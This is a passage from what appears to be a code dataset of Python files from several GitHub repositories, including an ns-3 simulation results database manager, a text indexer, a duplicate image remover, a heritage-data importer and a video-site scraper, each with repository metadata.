JSONStorage\nfrom tinydb.middlewares import CachingMiddleware\n\nREUSE_RNGRUN_VALUES = False\n\nclass DatabaseManager(object):\n \"\"\"\n This serves as an interface with the simulation campaign database.\n\n A database can either be created from scratch or loaded, via the new and\n load @classmethods.\n \"\"\"\n\n ##################\n # Initialization #\n ##################\n\n def __init__(self, db, campaign_dir):\n \"\"\"\n Initialize the DatabaseManager with a TinyDB instance.\n\n This function assumes that the DB is already complete with a config\n entry, as created by the new and load classmethods, and should not be\n called directly. Use the CampaignManager.new() and\n CampaignManager.load() facilities instead.\n \"\"\"\n self.campaign_dir = campaign_dir\n self.db = db\n\n @classmethod\n def new(cls, script, commit, params, campaign_dir, overwrite=False):\n \"\"\"\n Initialize a new class instance with a set configuration and filename.\n\n The created database has the same name of the campaign directory.\n\n Args:\n script (str): the ns-3 name of the script that will be used in this\n campaign;\n commit (str): the commit of the ns-3 installation that is used to\n run the simulations.\n params (list): a list of the parameters that can be used on the\n script.\n campaign_dir (str): The path of the file where to save the DB.\n overwrite (bool): Whether or not existing directories should be\n overwritten.\n\n \"\"\"\n\n # We only accept absolute paths\n if not Path(campaign_dir).is_absolute():\n raise ValueError(\"Path is not absolute\")\n\n # Make sure the directory does not exist already\n if Path(campaign_dir).exists() and not overwrite:\n raise FileExistsError(\"The specified directory already exists\")\n elif Path(campaign_dir).exists() and overwrite:\n # Verify we are not deleting files belonging to the user\n campaign_dir_name = os.path.basename(campaign_dir)\n folder_contents = set(os.listdir(campaign_dir))\n allowed_files = set(\n ['data', '%s.json' % campaign_dir_name] +\n # Allow hidden files (like .DS_STORE in macos)\n [os.path.basename(os.path.normpath(f)) for f in\n glob.glob(os.path.join(campaign_dir, \".*\"))])\n\n if(not folder_contents.issubset(allowed_files)):\n raise ValueError(\"The specified directory cannot be overwritten\"\n \" because it contains user files.\")\n # This operation destroys data.\n shutil.rmtree(campaign_dir)\n\n # Create the directory and database file in it\n # The indent and separators ensure the database is human readable.\n os.makedirs(campaign_dir)\n tinydb = TinyDB(os.path.join(campaign_dir, \"%s.json\" %\n os.path.basename(campaign_dir)),\n storage=CachingMiddleware(JSONStorage))\n\n # Save the configuration in the database\n config = {\n 'script': script,\n 'commit': commit,\n 'params': params\n }\n\n tinydb.table('config').insert(config)\n\n tinydb.storage.flush()\n\n return cls(tinydb, campaign_dir)\n\n @classmethod\n def load(cls, campaign_dir):\n \"\"\"\n Initialize from an existing database.\n\n It is assumed that the database json file has the same name as its\n containing folder.\n\n Args:\n campaign_dir (str): The path to the campaign directory.\n \"\"\"\n\n # We only accept absolute paths\n if not Path(campaign_dir).is_absolute():\n raise ValueError(\"Path is not absolute\")\n\n # Verify file exists\n if not Path(campaign_dir).exists():\n raise ValueError(\"Directory does not exist\")\n\n # Extract filename from campaign dir\n filename = \"%s.json\" % os.path.split(campaign_dir)[1]\n filepath = os.path.join(campaign_dir, filename)\n\n try:\n # Read TinyDB instance from file\n tinydb = TinyDB(filepath,\n storage=CachingMiddleware(JSONStorage))\n\n # Make sure the configuration is a valid dictionary\n assert set(\n tinydb.table('config').all()[0].keys()) == set(['script',\n 'params',\n 'commit'])\n except:\n # Remove the database instance created by tinydb\n os.remove(filepath)\n raise ValueError(\"Specified campaign directory seems corrupt\")\n\n return cls(tinydb, campaign_dir)\n\n ###################\n # Database access #\n ###################\n\n def write_to_disk(self):\n self.db.storage.flush()\n\n def get_config(self):\n \"\"\"\n Return the configuration dictionary of this DatabaseManager's campaign.\n\n This is a dictionary containing the following keys:\n\n * script: the name of the script that is executed in the campaign.\n * params: a list of the command line parameters that can be used on the\n script.\n * commit: the commit at which the campaign is operating.\n \"\"\"\n\n # Read from self.db and return the config entry of the database\n return self.db.table('config').all()[0]\n\n def get_data_dir(self):\n \"\"\"\n Return the data directory, which is simply campaign_directory/data.\n \"\"\"\n return os.path.join(self.campaign_dir, 'data')\n\n def get_commit(self):\n \"\"\"\n Return the commit at which the campaign is operating.\n \"\"\"\n return self.get_config()['commit']\n\n def get_script(self):\n \"\"\"\n Return the ns-3 script that is run in the campaign.\n \"\"\"\n return self.get_config()['script']\n\n def get_params(self):\n \"\"\"\n Return a list containing the parameters that can be toggled.\n \"\"\"\n return self.get_config()['params']\n\n def get_next_rngruns(self):\n \"\"\"\n Yield the next RngRun values that can be used in this campaign.\n \"\"\"\n available_runs = [result['params']['RngRun'] for result in\n self.get_results()]\n yield from DatabaseManager.get_next_values(self, available_runs)\n\n def insert_results(self, results):\n\n # This dictionary serves as a model for how the keys in the newly\n # inserted result should be structured.\n example_result = {\n 'params': {k: ['...'] for k in list(self.get_params().keys()) + ['RngRun']},\n 'meta': {k: ['...'] for k in ['elapsed_time', 'id', 'exitcode']},\n }\n\n for result in results:\n # Verify result format is correct\n if not(DatabaseManager.have_same_structure(result, example_result)):\n raise ValueError(\n '%s:\\nExpected: %s\\nGot: %s' % (\n \"Result dictionary does not correspond to database format\",\n pformat(example_result, depth=2),\n pformat(result, depth=2)))\n\n # Insert results\n self.db.table('results').insert_multiple(results)\n\n def insert_result(self, result):\n \"\"\"\n Insert a new result in the database.\n\n This function also verifies that the result dictionaries saved in the\n database have the following structure (with {'a': 1} representing a\n dictionary, 'a' a key and 1 its value)::\n\n {\n 'params': {\n 'param1': value1,\n 'param2': value2,\n ...\n 'RngRun': value3\n },\n 'meta': {\n 'elapsed_time': value4,\n 'id': value5\n }\n }\n\n Where elapsed time is a float representing the seconds the simulation\n execution took, and id is a UUID uniquely identifying the result, and\n which is used to locate the output files in the campaign_dir/data\n folder.\n \"\"\"\n\n # This dictionary serves as a model for how the keys in the newly\n # inserted result should be structured.\n example_result = {\n 'params': {k: ['...'] for k in list(self.get_params().keys()) +\n ['RngRun']},\n 'meta': {k: ['...'] for k in ['elapsed_time', 'id']},\n }\n\n # Verify result format is correct\n if not(DatabaseManager.have_same_structure(result, example_result)):\n raise ValueError(\n '%s:\\nExpected: %s\\nGot: %s' % (\n \"Result dictionary does not correspond to database format\",\n pformat(example_result, depth=1),\n pformat(result, depth=1)))\n\n # Insert result\n self.db.table('results').insert(deepcopy(result))\n\n def get_results(self, params=None, result_id=None):\n \"\"\"\n Return all the results available from the database that fulfill some\n parameter combinations.\n\n If params is None (or not specified), return all results.\n\n If params is specified, it must be a dictionary specifying the result\n values we are interested in, with multiple values specified as lists.\n\n For example, if the following params value is used::\n\n params = {\n 'param1': 'value1',\n 'param2': ['value2', 'value3']\n }\n\n the database will be queried for results having param1 equal to value1,\n and param2 equal to value2 or value3.\n\n Not specifying a value for all the available parameters is allowed:\n unspecified parameters are assumed to be 'free', and can take any\n value.\n\n Returns:\n A list of results matching the query. Returned results have the\n same structure as results inserted with the insert_result method.\n \"\"\"\n\n # In this case, return all results\n # A cast to dict is necessary, since self.db.table() contains TinyDB's\n # Document object (which is simply a wrapper for a dictionary, thus the\n # simple cast).\n if result_id is not None:\n return [dict(i) for i in self.db.table('results').all() if\n i['meta']['id'] == result_id]\n\n if params is None:\n return [dict(i) for i in self.db.table('results').all()]\n\n # If we are passed a list of parameter combinations, we concatenate\n # results for the queries corresponding to each dictionary in the list\n if isinstance(params, list):\n return sum([self.get_results(x) for x in params], [])\n\n # Verify parameter format is correct\n all_params = set(['RngRun'] + list(self.get_params().keys()))\n param_subset = set(params.keys())\n if not all_params.issuperset(param_subset):\n raise ValueError(\n '%s:\\nParameters: %s\\nQuery: %s' % (\n 'Specified parameter keys do not match database format',\n all_params,\n param_subset))\n\n # Convert values that are not lists into lists to later perform\n # iteration over values more naturally. Perform this on a new\n # dictionary not to modify the original copy.\n query_params = {}\n for key in params:\n if not isinstance(params[key], list):\n query_params[key] = [params[key]]\n else:\n query_params[key] = params[key]\n\n # Handle case where query params has no keys\n if not query_params.keys():\n return [dict(i) for i in self.db.table('results').all()]\n\n # Create the TinyDB query\n # In the docstring example above, this is equivalent to:\n # AND(OR(param1 == value1), OR(param2 == value2, param2 == value3))\n query = reduce(and_, [reduce(or_, [\n where('params')[key] == v for v in value]) for key, value in\n query_params.items()])\n\n return [dict(i) for i in self.db.table('results').search(query)]\n\n def get_result_files(self, result):\n \"\"\"\n Return a dictionary containing filename: filepath values for each\n output file associated with an id.\n\n Result can be either a result dictionary (e.g., obtained with the\n get_results() method) or a result id.\n \"\"\"\n if isinstance(result, dict):\n result_id = result['meta']['id']\n else: # Should already be a string containing the id\n result_id = result\n\n result_data_dir = os.path.join(self.get_data_dir(), result_id)\n\n filenames = next(os.walk(result_data_dir))[2]\n\n filename_path_pairs = [\n (f, os.path.join(self.get_data_dir(), result_id, f))\n for f in filenames]\n\n return {k: v for k, v in filename_path_pairs}\n\n def get_complete_results(self, params=None, result_id=None, files_to_load=r'.*'):\n \"\"\"\n Return available results, analogously to what get_results does, but\n also read the corresponding output files for each result, and\n incorporate them in the result dictionary under the output key, as a\n dictionary of filename: file_contents.\n\n Args:\n params (dict): parameter specification of the desired parameter\n values, as described in the get_results documentation.\n\n In other words, results returned by this function will be in the form::\n\n {\n 'params': {\n 'param1': value1,\n 'param2': value2,\n ...\n 'RngRun': value3\n },\n 'meta': {\n 'elapsed_time': value4,\n 'id': value5\n }\n 'output': {\n 'stdout': stdout_as_string,\n 'stderr': stderr_as_string,\n 'file1': file1_as_string,\n ...\n }\n }\n\n Note that the stdout and stderr entries are always included, even if\n they are empty.\n \"\"\"\n\n if result_id is not None:\n results = deepcopy(self.get_results(result_id=result_id))\n else:\n results = deepcopy(self.get_results(params))\n\n for r in results:\n r['output'] = {}\n available_files = self.get_result_files(r['meta']['id'])\n for name, filepath in available_files.items():\n if ((isinstance(files_to_load, str) and re.search(files_to_load, name)) or\n (isinstance(files_to_load, list) and name in files_to_load)):\n with open(filepath, 'r') as file_contents:\n try:\n r['output'][name] = file_contents.read()\n except UnicodeDecodeError:\n # If this is not decodable, we leave this output alone\n # (but still insert its name in the result)\n r['output'][name] = 'RAW'\n return results\n\n def wipe_results(self):\n \"\"\"\n Remove all results from the database.\n\n This also removes all output files, and cannot be undone.\n \"\"\"\n # Clean results table\n self.db.drop_table('results')\n self.write_to_disk()\n\n # Get rid of contents of data dir\n map(shutil.rmtree, glob.glob(os.path.join(self.get_data_dir(), '*.*')))\n\n def delete_result(self, result):\n \"\"\"\n Remove the specified result from the database, based on its id.\n \"\"\"\n # Get rid of contents of data dir\n shutil.rmtree(os.path.join(self.get_data_dir(), result['meta']['id']))\n # Remove entry from results table\n self.db.table('results').remove(where('meta')['id'] == result['meta']['id'])\n self.write_to_disk()\n\n #############\n # Utilities #\n #############\n\n def __str__(self):\n \"\"\"\n Represent the database object as a human-readable string.\n \"\"\"\n configuration = self.get_config()\n return \"script: %s\\nparams: %s\\nHEAD: %s\" % (\n configuration['script'], configuration['params'],\n configuration['commit'])\n\n def get_next_values(self, values_list):\n \"\"\"\n Given a list of integers, this method yields the lowest integers that\n do not appear in the list.\n\n >>> import sem\n >>> v = [0, 1, 3, 4]\n >>> sem.DatabaseManager.get_next_values(v)\n\n [2, 5, 6, ...]\n \"\"\"\n yield from filter(lambda x: x not in values_list,\n itertools.count())\n\n def have_same_structure(d1, d2):\n \"\"\"\n Given two dictionaries (possibly with other nested dictionaries as\n values), this function checks whether they have the same key structure.\n\n >>> from sem import DatabaseManager\n >>> d1 = {'a': 1, 'b': 2}\n >>> d2 = {'a': [], 'b': 3}\n >>> d3 = {'a': 4, 'c': 5}\n >>> DatabaseManager.have_same_structure(d1, d2)\n True\n >>> DatabaseManager.have_same_structure(d1, d3)\n False\n\n >>> d4 = {'a': {'c': 1}, 'b': 2}\n >>> d5 = {'a': {'c': 3}, 'b': 4}\n >>> d6 = {'a': {'c': 5, 'd': 6}, 'b': 7}\n >>> DatabaseManager.have_same_structure(d1, d4)\n False\n >>> DatabaseManager.have_same_structure(d4, d5)\n True\n >>> DatabaseManager.have_same_structure(d4, d6)\n False\n \"\"\"\n # Keys of this level are the same\n if set(d1.keys()) != set(d2.keys()):\n return False\n\n # Check nested dictionaries\n for k1, k2 in zip(sorted(d1.keys()), sorted(d2.keys())):\n # If one of the values is a dictionary and the other is not\n if isinstance(d1[k1], dict) != isinstance(d2[k2], dict):\n return False\n # If both are dictionaries, recur\n elif isinstance(d1[k1], dict) and isinstance(d2[k2], dict):\n if not DatabaseManager.have_same_structure(d1[k1], d2[k2]):\n return False\n\n return True\n\n def get_all_values_of_all_params(self):\n \"\"\"\n Return a dictionary containing all values that are taken by all\n available parameters.\n\n Always returns the parameter list in alphabetical order.\n \"\"\"\n\n values = collections.OrderedDict([[p, []] for p in\n sorted(self.get_params())])\n\n for result in self.get_results():\n for param in self.get_params():\n values[param] += [result['params'][param]]\n\n sorted_values = collections.OrderedDict([[k,\n sorted(list(set(values[k])))]\n for k in values.keys()])\n\n for k in sorted_values.keys():\n if sorted_values[k] == []:\n sorted_values[k] = None\n\n return sorted_values\n","repo_name":"signetlabdei/sem","sub_path":"sem/database.py","file_name":"database.py","file_ext":"py","file_size_in_byte":19751,"program_lang":"python","lang":"en","doc_type":"code","stars":30,"dataset":"github-code","pt":"75"} +{"seq_id":"6809621199","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\nimport sys\nimport get_morphs_tags as mf\nimport get_index_terms as term\nimport pickle\n\n############################################################################### 51\ndef indexing_tagged(indexing, sentences, filename):\n \"\"\" 형태소 분석 파일로부터 색인 정보를 생성 (역색인, 문장)\n indexing : 역색인 dictionary (key : index term, value : set of sentences)\n sentences : 색인된 문장 리스트\n filename : 형태소 분석 파일\n \"\"\"\n\n fin = open(filename)\n sen = []\n i = len(sentences)\n\n for line in fin:\n \n segments = line.split('\\t')\n\n if len(segments) < 2:\n sentences.append(' '.join(sen))\n sen = []\n i += 1\n continue\n \n sen.append(segments[0])\n \n mt_list = mf.get_morphs_tags(segments[1].rstrip())\n terms = term.get_index_terms(mt_list)\n \n for t in terms:\n if t in indexing:\n indexing[t] |= {i}\n else:\n indexing[t] = {i}\n\n fin.close()\n\n###############################################################################\nif __name__ == \"__main__\":\n\n if len(sys.argv) < 2:\n print(\"[Usage]\", sys.argv[0], \"in-file(s)\", file=sys.stderr)\n sys.exit()\n\n inverted_indexing = {}\n sentences = []\n \n for filename in sys.argv[1:]:\n indexing_tagged(inverted_indexing, sentences, filename)\n\n with open(\"index.pickle\",\"wb\") as fout:\n pickle.dump((inverted_indexing, sentences), fout)\n\n","repo_name":"bloomwayz/KU-222R-COSE102","sub_path":"indexer.py","file_name":"indexer.py","file_ext":"py","file_size_in_byte":1593,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"31431718514","text":"class SparseArray:\n def __init__(self, arr: list[int], size: int) -> None:\n self.size = size\n self.obj = {}\n for i, x in enumerate(arr):\n if x != 0:\n self.obj[i] = x\n \n def set(self, i: int, val: int) -> None:\n self.obj[i] = val \n def get(self, i: int) -> any:\n return self.obj[i] if self.obj[i] else None\n\n\nif __name__ == \"__main__\":\n test_list = [0,0,0,4,0,0,0,0,0,0,0,8,9,0,0,0,0,0,0,0,3,0,0,0,0,2,0,0,0,0,0,0,3,0,0,0,0]\n sparseArray = SparseArray(test_list,len(test_list))\n sparseArray.set(1,2)\n sparseArray.set(3,9)\n sparseArray.set(20,7)\n sparseArray.set(14,6)\n sparseArray.get(3)\n print(sparseArray.obj)\n\n","repo_name":"alexandermichaud-drizly/daily_coding_problems","sub_path":"2021_06_15_Sparse_Array.py","file_name":"2021_06_15_Sparse_Array.py","file_ext":"py","file_size_in_byte":717,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"70485491122","text":"import os\n\nimport click\nimport logger_provider\nimport uvicorn\nfrom core.config import config\n\n\n@click.command()\n@click.option(\n \"--env\",\n type=click.Choice([\"local\", \"dev\", \"prod\"], case_sensitive=False),\n default=\"local\",\n)\n@click.option(\n \"--debug\",\n type=click.BOOL,\n is_flag=True,\n default=False,\n)\ndef main(env: str, debug: bool):\n \"\"\"Main function, start coding here\"\"\"\n\n log = logger_provider.get_logger(__name__)\n log.info(\"Starting uvicorn server...\")\n\n uvicorn.run(\n app=\"app.server:app\",\n host=config.APP_HOST,\n port=config.APP_PORT,\n reload=True if config.ENV != \"production\" else False,\n workers=1,\n )\n\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"InHouse-n/snek-app","sub_path":"snek-back/src/snek/__main__.py","file_name":"__main__.py","file_ext":"py","file_size_in_byte":726,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"14818369975","text":"# Model for the prey that have no communication\nimport random\nimport math\nimport Population\n\nCANVAS_SIZE = 1000\n\nWANDERING = 0\nFLEEING = 1\nREPRODUCING = 2\n\nWALK_SPEED = 4\nROTATION_SPEED = 10\n\nclass Prey():\n count = 0\n\n def __init__(self,canvas,name, x, y, theta):\n self.x = x\n self.y = y\n self.theta = theta\n self.reproduceTimer = 0\n self.canvas = canvas\n self.name = name + str(Prey.count)\n Prey.count += 1\n self.state = WANDERING\n self.reproduceCount = 0\n self.reproduceDelay = random.randint(160,200) - (40 - len(Population.Populations.getPopulations().allPrey())/10)\n\n def move(self):\n pops = Population.Populations.getPopulations()\n \n # Reproduce counter always goes up\n self.reproduceTimer += 1\n if self.reproduceTimer > self.reproduceDelay: self.state = REPRODUCING\n\n if (self.state == FLEEING):\n if (len(pops.allPred()) == 0): return\n target = pops.allPred()[0]\n closestDist = 1000\n for pred in pops.allPred():\n if (self.distanceTo(pred) < closestDist):\n target = pred\n closestDist = self.distanceTo(pred)\n if (closestDist > 80):\n self.state = WANDERING\n else:\n ang = self.angleTo(target)\n if (abs(ang)<3.0):\n if (ang > 0):\n self.theta -= math.radians(ROTATION_SPEED)\n else:\n self.theta += math.radians(ROTATION_SPEED)\n self.theta = self.theta%(2.0*math.pi)\n self.setLocation(self.x+WALK_SPEED*math.cos(self.theta),self.y+WALK_SPEED*math.sin(self.theta))\n\n if (self.state == WANDERING):\n self.setLocation(self.x+WALK_SPEED*math.cos(self.theta),self.y+WALK_SPEED*math.sin(self.theta))\n self.theta += random.randint(-ROTATION_SPEED, ROTATION_SPEED) * math.pi/180\n for pred in pops.allPred():\n if (self.distanceTo(pred) < 30): \n self.state = FLEEING \n \n self.collisions()\n if (self.state == REPRODUCING):\n self.reproduceCount += 1\n if self.reproduceCount > 10:\n newPrey = Prey(self.canvas, \"prey\",self.x+(24*math.cos(self.theta)), self.y+(24*math.sin(self.theta)), self.theta)\n pops.addPrey(newPrey)\n self.reproduceTimer = 0\n self.reproduceCount = 0\n self.reproduceDelay = random.randint(160,200) - len(Population.Populations.getPopulations().allPrey())/10\n self.state = WANDERING\n\n def distanceTo(self, other):\n return math.sqrt( math.pow(self.x-other.x,2) + math.pow(self.y-other.y,2))\n \n def angleTo(self, other):\n # Find the angle from our current direction to the other object in radians. [-pi, pi]\n targetTheta = math.atan2(other.y - self.y, other.x - self.x)\n returnTheta = ((targetTheta - self.theta + math.pi) % (2.0*math.pi)) - math.pi\n return returnTheta\n \n def collisions(self):\n pops = Population.Populations.getPopulations()\n for prey in pops.allPrey():\n if prey == self:\n continue\n if self.distanceTo(prey) < 24:\n ang = math.atan2(prey.y - self.y, prey.x - self.x)\n self.setLocation(self.x-2*WALK_SPEED*math.cos(ang),self.y-2*WALK_SPEED*math.sin(ang))\n self.theta = (ang + math.pi)\n\n def draw(self):\n \n canvas = self.canvas\n canvas.delete(self.name)\n # Body\n bounds = [ \n self.x-12,\n self.y-12,\n self.x+12,\n self.y+12\n ]\n canvas.create_oval(bounds, fill=\"green\", tags=self.name)\n\n # Head\n line_bounds = [\n self.x,\n self.y,\n self.x+16*math.cos(self.theta),\n self.y+16*math.sin(self.theta)\n ]\n canvas.create_line(line_bounds,fill=\"green\",tags=self.name)\n \n\n def setLocation(self, x, y):\n if (x > CANVAS_SIZE):\n x -= CANVAS_SIZE\n if (x<0):\n x += CANVAS_SIZE\n if (y > CANVAS_SIZE):\n y -= CANVAS_SIZE\n if (y<0):\n y += CANVAS_SIZE\n self.x = x\n self.y = y\n\n def delete(self):\n if (self.canvas != None): self.canvas.delete(self.name)","repo_name":"JordanEdward02/Predator-Prey","sub_path":"PreyZero.py","file_name":"PreyZero.py","file_ext":"py","file_size_in_byte":4499,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"9540393534","text":"from pprint import pprint\nfrom tkinter.filedialog import askdirectory\n\n# Importing required libraries.\nfrom tkinter import Tk\nimport os\nimport hashlib\nfrom pathlib import Path\n\nfrom PIL import Image, ImageChops\n\n# We don't want the GUI window of\n# tkinter to be appearing on our screen\nTk().withdraw()\n\n# Dialog box for selecting a folder.\nfile_path = askdirectory(title=\"Select incoming folder \")\nprint(file_path)\nprint(len(os.listdir(file_path)))\n# Listing out all the files\n# inside our root folder.\nlist_of_files = os.walk(file_path)\n\n# In order to detect the duplicate\n# files we are going to define an empty dictionary.\nunique_files = dict()\n\nfor root, folders, files in list_of_files:\n\n # Running a for loop on all the files\n for file in files:\n\n # Finding complete file path\n file_path = Path(os.path.join(root, file))\n\n # Converting all the content of\n # our file into md5 hash.\n Hash_file = hashlib.sha256(open(file_path, 'rb').read()).hexdigest()\n\n # If file hash has already #\n # been added we'll simply delete that file\n if Hash_file not in unique_files:\n unique_files[Hash_file] = file_path\n else:\n os.remove(file_path)\n print(f\"{file_path} has been deleted\")\n\n\npath = file_path\npath = os.path.dirname(path)\nprint(path)# Путь к папке где лежат файлы для сравнения\nimgs = os.listdir(path)\n\nprint(imgs)\n\ncheck_file = 0 # Проверяемый файл\ncurrent_file = 0 # Текущий файл\n\nmatches_number =0\ndef difference_images(img1, img2):\n global matches_number\n image_1 = Image.open(img1)\n image_2 = Image.open(img2)\n size = (30,30)\n image_1.thumbnail(size)\n image_2.thumbnail(size)\n\n result = ImageChops.difference(image_1, image_2).getbbox()\n if result is None:\n matches_number +=1\n print(img1, img2, 'matches',matches_number)\n return\n\n\nwhile check_file < len(imgs):\n if current_file == check_file:\n current_file += 1\n continue\n if current_file == len(imgs):\n break\n print(check_file,current_file)\n difference_images(os.path.join(path,imgs[current_file]), os.path.join(path,imgs[check_file]))\n current_file += 1\n if current_file == len(imgs):\n check_file += 1\n current_file = check_file\n","repo_name":"NightFencer/lesson09","sub_path":"python_snippets/probe09.py","file_name":"probe09.py","file_ext":"py","file_size_in_byte":2346,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"26491482479","text":"class Solution:\n def daysBetweenDates(self, date1: str, date2: str) -> int:\n if date1 > date2: date1, date2 = date2, date1\n y1, m1, d1 = [int(x) for x in date1.split(\"-\")]\n y2, m2, d2 = [int(x) for x in date2.split(\"-\")]\n\n leap = lambda y: (y % 4 == 0 and y % 100 != 0) or (y % 400 == 0)\n dates = 365*(y2 - y1) + sum(leap(y) for y in range(y1, y2))\n\n days = [0, 31, 59, 90, 120, 151, 181, 212, 243, 273, 304, 334]\n dates -= days[m1 - 1] + (m1 > 2 and leap(y1)) + d1\n dates += days[m2 - 1] + (m2 > 2 and leap(y2)) + d2\n\n return dates\n","repo_name":"ShobhitLamba/Leetcode","sub_path":"1. Easy/number_of_days_between_two_dates.py","file_name":"number_of_days_between_two_dates.py","file_ext":"py","file_size_in_byte":599,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"16680113521","text":"import MySQLdb\nimport openpyxl\nimport DBManager\n\nimport requests\nimport xml.etree.ElementTree as ET\n\ndef check_validation(values):\n if '' in values:\n return False\n\n try:\n y = float(values[4])\n x = float(values[5])\n\n if y == 0 or x == 0:\n return False\n\n except:\n return False\n\n return True\n\ndef get_asset_info(id):\n if len(id) != 12:\n return None\n\n asset_type = id[:2]\n asset_id = id[2:10]\n asset_city = id[-2:]\n\n try:\n url = 'http://www.cha.go.kr/cha/SearchKindOpenapiDt.do?ccbaKdcd={}&ccbaAsno={}&ccbaCtcd={}'.format(asset_type, asset_id, asset_city)\n\n response = requests.get(url)\n except:\n return None\n\n if response.status_code != 200:\n return None\n\n return response.content\n\ndef parse(xml):\n tree = ET.fromstring(xml)\n\n location = tree.find('./item/ccbaCtcdNm').text.strip()\n name = tree.find('./item/ccbaMnm1').text.strip()\n x = tree.find('longitude').text.strip()\n y = tree.find('latitude').text.strip()\n address = tree.find('./item/ccbaLcad').text.strip()\n id = '{}-제{}호'.format(tree.find('ccbaKdcd').text.strip(), tree.find('./item/crltsnoNm').text.strip())\n\n return location, id, name, y, x, address\n\ndef main():\n file_path = 'C:\\\\Users\\\\Kang\\\\Desktop\\\\git\\\\edm-project\\\\db_insertion\\\\Assets.xlsx'\n df = openpyxl.load_workbook(file_path)\n\n data = df['문화재 정보']\n\n # 문화재코드\n field_data = data['A']\n index = 1\n\n table = 'Asset'\n columns = ['index', 'location', 'id', 'name', 'y', 'x', 'address']\n\n db = DBManager.DBManager()\n\n for i, code in enumerate(field_data):\n if i == 0:\n continue\n\n xml = get_asset_info(code.value)\n\n if xml is None:\n continue\n\n try:\n location, id, name, y, x, address = parse(xml)\n except:\n print('error')\n continue\n\n values = [index, location, id, name, y, x, address]\n\n if check_validation(values) is False:\n continue\n\n db.insert_row(table, columns, values)\n index += 1\n\n # if index == 5:\n # break\n\n db.close()\n\nif __name__ == '__main__':\n main()\n","repo_name":"dhkang9357/edm-project","sub_path":"db_insertion/Asset.py","file_name":"Asset.py","file_ext":"py","file_size_in_byte":2225,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"5520317804","text":"# -*- coding: utf-8 -*-\nimport re\nimport scrapy\nfrom copy import deepcopy\nimport time\nfrom scrapy_redis.spiders import RedisSpider\nfrom py_bloomfilter import PyBloomFilter\n\n\nclass LivideoSpider(RedisSpider):\n \"\"\"梨视频信息抓取\"\"\"\n name = \"livideo\"\n # allowed_domains = [\"pearvideo.com\"]\n # start_urls = ['http://www.pearvideo.com/category_loading.jsp?reqType=14&start=12']\n redis_key = \"lishipin:start_url\"\n bf = PyBloomFilter()\n\n def parse(self, response):\n item = dict()\n genre = response.url.split('=')[-1]\n cate = {\n \"1\":\"710300\", # 社会\n \"3\":\"710500\", # 财富(生活)\n \"4\":\"710600\", # 娱乐\n \"5\":\"710500\", # 生活\n \"6\":\"710500\", # 美食(生活)\n \"7\":\"710100\", # 搞笑\n \"8\":\"710900\", # 科技\n \"9\":\"711000\", # 体育\n \"17\":\"711100\", # 二次元(动漫)\n \"31\":\"710500\", # 汽车(生活)\n \"59\":\"710200\", # 音乐\n }\n item[\"spider\"] = \"梨视频\"\n item[\"cate\"] = cate.get(genre)\n item[\"videoPic\"] = \"\"\n item[\"videoAddr\"] = \"\"\n div_list = response.xpath('//div[@class=\"vervideo-bd\"]')\n for i in div_list:\n item[\"title\"] = i.xpath('.//div[@class=\"vervideo-title\"]/text()').extract_first()\n video_num = i.xpath('./a/@href').extract_first()\n video_pic = i.xpath('.//div[@class=\"verimg-view\"]/div/@style').extract_first()\n videoPic = re.findall(r'url\\((.*?)\\)', video_pic, re.S)\n if videoPic:\n item[\"videoPic\"] = videoPic[0]\n item[\"smallImgCounts\"] = '1'\n item[\"source\"] = i.xpath('.//*[@class=\"actcont-auto\"]/a/text()').extract_first() # 视频上传人或者推荐人\n playlength = i.xpath('.//div[@class=\"cm-duration\"]/text()').extract_first()\n t = playlength.split(\":\")\n item[\"videoTime\"] = int(t[0]) * 60 + int(t[1])\n item[\"comments\"] = i.xpath('.//span[@class=\"fav\"]/text()').extract_first() # 没有评论,这里是收藏数量\n item[\"url\"] = 'http://www.pearvideo.com/'+video_num\n bloom = self.bf.is_exist(item[\"url\"])\n if bloom == 0: # 没有被爬取过,进行请求\n yield scrapy.Request(item[\"url\"], callback=self.parse_detail, meta={\"item\": deepcopy(item)})\n self.bf.add(item[\"url\"])\n\n def parse_detail(self, response):\n item = response.meta['item']\n item[\"publishTime\"] = response.xpath('//div[@class=\"date\"]/text()').extract_first()+':00'\n item[\"crawledTime\"] = str(time.strftime(\"%Y-%m-%d %X\", time.localtime()))\n item[\"content\"] = response.xpath('//div[@class=\"summary\"]/text()').extract_first()\n video_url = re.findall(r'srcUrl=\"(.*?)\"',response.text,re.S)\n item[\"keywords\"] = \"\"\n item[\"distincStatu\"] = 0\n item[\"smallImgAddr\"] = \"\"\n item[\"imageAddr\"] = \"\"\n item[\"audioAddr\"] = \"\"\n item[\"audioTime\"] = \"\"\n if video_url:\n item[\"videoAddr\"] = video_url[0]\n yield item","repo_name":"yycling/pearvideo","sub_path":"lishipin/spiders/livideo.py","file_name":"livideo.py","file_ext":"py","file_size_in_byte":3116,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"4424734601","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Mon Dec 3 22:19:14 2018\r\n\r\n@author: Evan_He\r\n\"\"\"\r\n\r\nclass Solution:\r\n def intersect(self, nums1, nums2):\r\n \"\"\"\r\n :type nums1: List[int]\r\n :type nums2: List[int]\r\n :rtype: List[int]\r\n \"\"\"\r\n\r\n ret = []\r\n for num1 in nums1:\r\n if num1 in nums2:\r\n nums2.remove(num1)\r\n ret.append(num1)\r\n return ret\r\n \r\n \r\n ","repo_name":"hexinuser/LeetCode_Learn","sub_path":"350_intersect.py","file_name":"350_intersect.py","file_ext":"py","file_size_in_byte":477,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"36108555205","text":"import mailbox\nimport os\n\n\ndef main(path):\n \"\"\"Remove messages from a mbox files in path that were in Trash in 